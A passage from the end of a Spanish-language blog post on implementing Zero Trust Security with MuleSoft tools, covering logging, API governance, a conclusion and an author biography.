  3. Registro y monitoreo efectivos: podemos lograr transparencia utilizando las capacidades de registro y monitoreo de MuleSoft, y usar API Catalog CLI para descubrir y catalogar nuestras API.
  4. Gobernanza continua : utilizamos Anypoint API Governance para identificar, validar y hacer cumplir las mejores prácticas de seguridad para las API, como OWASP Top 10, desde el diseño hasta la implementación.

Conclusión


En este blog, hemos aprendido sobre Zero Trust Security y sus principios básicos. También somos conscientes de la diferencia entre la seguridad basada en el perímetro y ZTS, y por qué ZTS es importante. Además, hemos aprendido cómo podemos implementar ZTS usando MuleSoft y las capacidades de seguridad que MuleSoft tiene para ofrecer.

Recursos

Sobre el Autor

Akshata Sawant es promotora sénior de desarrolladores en Salesforce. Es autora, bloguera y oradora, y coautora del título, MuleSoft for Salesforce Developers . Akshata es un miembro activo de la comunidad de MuleSoft y ex embajador de MuleSoft. Le encanta leer, bailar, viajar y la fotografía, y es una gran entusiasta de la comida. Síguela en Twitter y LinkedIn.

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